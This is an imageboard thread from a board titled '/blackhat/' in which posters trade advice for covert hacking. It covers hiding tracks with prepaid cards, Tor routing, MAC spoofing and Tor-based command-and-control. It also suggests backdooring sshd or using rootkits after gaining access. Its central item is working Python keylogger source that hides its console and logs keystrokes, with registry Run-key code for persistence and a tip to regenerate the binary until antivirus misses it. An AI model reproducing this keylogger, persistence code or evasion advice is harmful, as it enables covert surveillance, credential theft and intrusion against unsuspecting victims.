/blackhat/ - BlackHat

I forget to mention if you're going to move the important files scripts or whatever around on your physical hard drive zip and encrypt. try not to let those files come in contact with physical hard drive there are methods to finding that they were there.

i highly recommend getting prepaid cards and using them to pay for web services like AWS or Digital Ocean and then doing the bulk of your work there. don't do hacks from there but it's often easier to do research using cloud resources these days. of course vagrant is pretty good on a local machine and don't discount docker for throw away environments.

>>26

i like having a separate environment where i only do research, hardware bondary then virtualization. FDE across the entire drive that way you don't need to wipe really it's already scrambled just my $0.02

>>30

two things

1. before you attack a network be sure you can gain elevated privileges on that network, this means tons of research on your target, be sure before you even touch the target

2. once you have access your best friend is the rootkit, you don't necessarily need a full rootkit a good sshd backdoor will work just as well and be just as stealthy. there are many examples of how to backdoor binaries on packetstorm and even some tools for doing in memory injection

bonus points if you can backdoor a system using nothing but system configuration changes :D

>>28

>>32

TOR for c&c is becoming popular in some circles

>>31

i think what you might be asking is how to tunnel your traffic anonymously, i recommend learning about proxychains, tor and how to route traffic over tor by default using iptables

https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy

>>35

>>31

if you're really paranoid run all your traffic over tor using iptables and then also use tor browser, it sounds inefficient but it will ensure there are no data leaks

>>11

ALWAYS spoof your MAC address

two things

1. i highly recommend you learn to use Arch Linux as it will force you to learn Linux properly

2. https://www.vulnhub.com/

vuln hub has tons of vulnerable images you can download and use as a VM for pentesting and learning it's an amazing site actually.

if you use winreg in python you can open the registry and edit the user's runkeys so the keylogger starts when they login. you'll need a routine that copies the keylogger someplace static to reference it in the runkeys. then you could probably do like py2exe on it and pass the result to virustotal to see if it passes an av scan, then regenerate it.

import win32api
import win32console
import win32gui
import pythoncom,pyHook

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

code to add runkey for startup

def addRunKey():
    fp=os.path.dirname(os.path.realpath(__file__))
    file_name=sys.argv[0].split("\\")[-1]
    new_file_path=fp+"\\"+file_name
    keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

    key2change= OpenKey(HKEY_CURRENT_USER,
    keyVal,0,KEY_ALL_ACCESS)

    SetValueEx(key2change, " Keylogger",0,REG_SZ, new_file_path)

>>2 virtualized hacking. I wondering what the limits are when it comes to a vm.

I'm trying to get some tutorials and other stuff I can learn to hack into Android/ios with linux kali. Phones connected to public/my wifi.